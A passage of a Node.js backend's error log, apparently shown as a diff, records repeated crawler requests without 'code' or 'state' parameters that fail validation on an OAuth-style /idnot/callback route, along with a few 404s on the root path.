/home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627079818_v63dod7pr' +} +❌ [ERROR] 2025-09-23T11:31:19.819Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627079818_v63dod7pr', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:36:26.679Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627386679_juzu5qza0' +} +❌ [ERROR] 2025-09-23T11:36:26.680Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627386679_juzu5qza0', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:41:31.892Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627691891_qzaejpqhr' +} +❌ [ERROR] 2025-09-23T11:41:31.893Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758627691891_qzaejpqhr', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T11:44:35.170Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758627875170_flig1tgp7', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:46:43.704Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628003704_2n7ttwbtp' +} +❌ [ERROR] 2025-09-23T11:46:43.705Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628003704_2n7ttwbtp', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:51:56.551Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628316550_u47uqild5' +} +❌ [ERROR] 2025-09-23T11:51:56.551Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628316550_u47uqild5', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:57:14.238Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628634237_gsj6sx5xy' +} +❌ [ERROR] 2025-09-23T11:57:14.239Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628634237_gsj6sx5xy', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:02:34.319Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628954319_dflywm1ga' +} +❌ [ERROR] 2025-09-23T12:02:34.320Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758628954319_dflywm1ga', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:07:57.946Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758629277945_u83mpfflc' +} +❌ [ERROR] 2025-09-23T12:07:57.947Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758629277945_u83mpfflc', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:18:55.329Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758629935328_czldgm7pz' +} +❌ [ERROR] 2025-09-23T12:18:55.330Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758629935328_czldgm7pz', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:30:05.882Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758630605881_qofvch9e2' +} +❌ [ERROR] 2025-09-23T12:30:05.883Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758630605881_qofvch9e2', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:35:44.877Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758630944876_55ntjh8fm' +} +❌ [ERROR] 2025-09-23T12:35:44.878Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758630944876_55ntjh8fm', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:41:28.644Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631288643_k0qqjqjpk' +} +❌ [ERROR] 2025-09-23T12:41:28.644Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631288643_k0qqjqjpk', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T12:45:19.524Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758631519523_6534drr3k', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:47:16.677Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631636676_k9xhc27gu' +} +❌ [ERROR] 2025-09-23T12:47:16.678Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631636676_k9xhc27gu', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:53:07.344Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631987343_6ejw4eph4' +} +❌ [ERROR] 2025-09-23T12:53:07.345Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758631987343_6ejw4eph4', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T12:58:15.825Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:89.241.240.50', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' + }, + requestId: 'req_1758632295824_gdlb6ik5y', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T12:58:15.933Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:89.241.240.50', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' + }, + requestId: 'req_1758632295932_fw7o92we0', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T12:58:16.282Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:89.241.240.50', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' + }, + requestId: 'req_1758632296281_cto4icydi', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T12:59:02.646Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758632342646_6lqdi5jh8' +} +❌ [ERROR] 2025-09-23T12:59:02.647Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758632342646_6lqdi5jh8', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:04:58.414Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758632698413_l8s9hgygy' +} +❌ [ERROR] 2025-09-23T13:04:58.414Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758632698413_l8s9hgygy', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T13:10:58.223Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633058221_jnz6je2oz' +} +❌ [ERROR] 2025-09-23T13:10:58.225Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758633058221_jnz6je2oz', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: 